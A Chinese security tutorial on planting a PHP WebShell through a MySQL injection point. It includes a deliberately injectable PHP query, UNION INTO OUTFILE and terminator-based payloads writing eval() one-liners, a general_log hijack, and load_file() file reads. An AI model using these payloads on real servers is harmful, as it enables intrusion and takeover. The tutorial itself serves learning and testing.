MySQL注入點(diǎn)寫入WebShell的幾種方式
在工具化日益成熟的今天,手工注入的能力越來(lái)越被忽視了。當(dāng)你掌握了一款工具的使用時(shí),應(yīng)更深入的去了解工具幫你做了什么,把工具所產(chǎn)生的影響控制在自己可控的范圍內(nèi)。
比如:當(dāng)面對(duì)一個(gè)MySQL注入點(diǎn),通過(guò)使用SQLmap的--os-shell命令選項(xiàng),便可輕松一鍵獲取Webshell,但是非正常退出時(shí),便會(huì)在網(wǎng)站目錄中存留SQLmap臨時(shí)上傳的Webshell文件。
接下來(lái),本文將通過(guò)構(gòu)造一個(gè)注入點(diǎn),分享幾種Webshell寫入的技巧。
0x01 構(gòu)造一個(gè)注入點(diǎn)
1、在默認(rèn)數(shù)據(jù)庫(kù)test中創(chuàng)建測(cè)試表admin和測(cè)試數(shù)據(jù),新建test用戶授予FILE權(quán)限。
grant file on *.* to 'test'@'localhost';
但即使有了file權(quán)限,輸出目錄路徑應(yīng)該secure_file_priv一致,否側(cè)文件操作不成功
mysql> show variables like '%sec%'
-> ;
+--------------------------+----------+
| Variable_name | Value |
+--------------------------+----------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | |
+--------------------------+----------+1.MYSQL新特性限制文件寫入及替代方法
高版本的MYSQL添加了一個(gè)新的特性secure_file_priv,該選項(xiàng)限制了mysql導(dǎo)出文件的權(quán)限
secure_file_priv
? 1、限制mysqld 不允許導(dǎo)入 | 導(dǎo)出
? --secure_file_prive=null
? 2、限制mysqld 的導(dǎo)入 | 導(dǎo)出 只能發(fā)生在/tmp/目錄下
? --secure_file_priv=/tmp/
? 3、不對(duì)mysqld 的導(dǎo)入 | 導(dǎo)出做限制
? --secure_file_priv=
linux
cat /etc/my.cnf
[mysqld] secure_file_priv=
win
my.ini
[mysqld] secure_file_priv=
2、使用test用戶連接數(shù)據(jù)庫(kù)。
<?php
$con=mysql_connect("localhost","test","123456");
mysql_select_db("test", $con);
$id = $_REQUEST[ 'id' ];
$query = "SELECT * FROM test.admin WHERE id = $id ";
$result = mysql_query($query);
......
0x02 寫入WebShell的幾種方式
1、利用Union select 寫入
這是最常見(jiàn)的寫入方式,union 跟select into outfile,將一句話寫入evil.php,僅適用于聯(lián)合注入。
具體權(quán)限要求:secure_file_priv支持web目錄文件導(dǎo)出、數(shù)據(jù)庫(kù)用戶有File權(quán)限、獲取物理路徑。
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php' ?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
2、利用分隔符寫入
當(dāng)Mysql注入點(diǎn)為盲注或報(bào)錯(cuò),Union select寫入的方式顯然是利用不了的,那么可以通過(guò)分隔符寫入。SQLMAP的 --os-shell命令,所采用的就是一下這種方式。
具體權(quán)限要求:secure_file_priv支持web目錄文件導(dǎo)出、數(shù)據(jù)庫(kù)用戶File權(quán)限、獲取物理路徑。
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --+ 此選項(xiàng)指定文本文件中行與行之間數(shù)據(jù)的分隔字符串 或者字符。
?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>'--+;
同樣的技巧,一共有四種形式:
?id=1 INTO OUTFILE '物理路徑' lines terminated by (一句話hex編碼)# ?id=1 INTO OUTFILE '物理路徑' fields terminated by (一句話hex編碼)# ?id=1 INTO OUTFILE '物理路徑' columns terminated by (一句話hex編碼)# ?id=1 INTO OUTFILE '物理路徑' lines starting by (一句話hex編碼)#
3、利用log寫入
新版本的MySQL設(shè)置了導(dǎo)出文件的路徑,很難在獲取Webshell過(guò)程中去修改配置文件,無(wú)法通過(guò)使用select into outfile來(lái)寫入一句話。這時(shí),我們可以通過(guò)修改MySQL的log文件來(lái)獲取Webshell。
具體權(quán)限要求:數(shù)據(jù)庫(kù)用戶需具備Super和File服務(wù)器權(quán)限、獲取物理路徑。
show variables like '%general%'; # 查看配置 set global general_log = on; # 開(kāi)啟general log模式,將所有到達(dá)MySQL Server的SQL語(yǔ)句記錄下來(lái)。 set global general_log_file = 'E:/study/WWW/evil.php'; # 設(shè)置日志目錄為shell地址 select '<?php eval($_GET[g]);?>' # 寫入shell set global general_log=off; # 關(guān)閉general log模式
附錄:高權(quán)限文件讀取
load_file()讀文件——select load_file(‘目錄’)。路徑使用\\ ,否則會(huì)被當(dāng)作轉(zhuǎn)義符號(hào)。
http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+
到此這篇關(guān)于MySQL注入點(diǎn)寫入WebShell的幾種方式的文章就介紹到這了,更多相關(guān)MySQL注入點(diǎn)寫入WebShell內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
mysql數(shù)據(jù)庫(kù)limit的四種用法小結(jié)
mysql數(shù)據(jù)庫(kù)中l(wèi)imit子句可以被用于強(qiáng)制select語(yǔ)句返回指定的記錄數(shù),本文主要介紹了mysql數(shù)據(jù)庫(kù)limit的四種用法小結(jié),感興趣的可以了解一下2023-10-10
基于MySQL數(shù)據(jù)庫(kù)的數(shù)據(jù)約束實(shí)例及五種完整性約束介紹
今天小編就為大家分享一篇關(guān)于基于MySQL數(shù)據(jù)庫(kù)的數(shù)據(jù)約束實(shí)例及五種完整性約束介紹,小編覺(jué)得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來(lái)看看吧2019-01-01
MySQL中你可能忽略的COLLATION實(shí)例詳解
mysql的collation大致的意思就是字符序,這篇文章主要給大家介紹了關(guān)于MySQL中COLLATION的相關(guān)資料,對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2021-05-05
關(guān)于MySQL性能調(diào)優(yōu)你必須了解的15個(gè)重要變量(小結(jié))
MYSQL 應(yīng)該是比較流行的 WEB 后端數(shù)據(jù)庫(kù)。雖然 NOSQL 最近越來(lái)越多的被提到,但是相信大部分架構(gòu)師還是會(huì)選擇 MYSQL 來(lái)做數(shù)據(jù)存儲(chǔ)。本文作者總結(jié)梳理MySQL性能調(diào)優(yōu)的15個(gè)重要變量,感興趣的可以了解一下2019-07-07
SQL使用聚集函數(shù)實(shí)現(xiàn)對(duì)數(shù)據(jù)匯總
這篇文章主要介紹了SQL使用聚集函數(shù)實(shí)現(xiàn)對(duì)數(shù)據(jù)匯總,文章圍繞主題展開(kāi)詳細(xì)的內(nèi)容介紹,具有一定的參考價(jià)值,需要的小伙伴可以參考一下2022-09-09
MySQL實(shí)現(xiàn)簡(jiǎn)單的創(chuàng)建庫(kù)和創(chuàng)建表操作方法
MySQL是最常用的數(shù)據(jù)庫(kù),在數(shù)據(jù)庫(kù)操作中基本都是增刪改查操作,簡(jiǎn)稱CRUD,這篇文章主要給大家介紹了關(guān)于MySQL實(shí)現(xiàn)簡(jiǎn)單的創(chuàng)建庫(kù)和創(chuàng)建表操作方法的相關(guān)資料,需要的朋友可以參考下2023-11-11

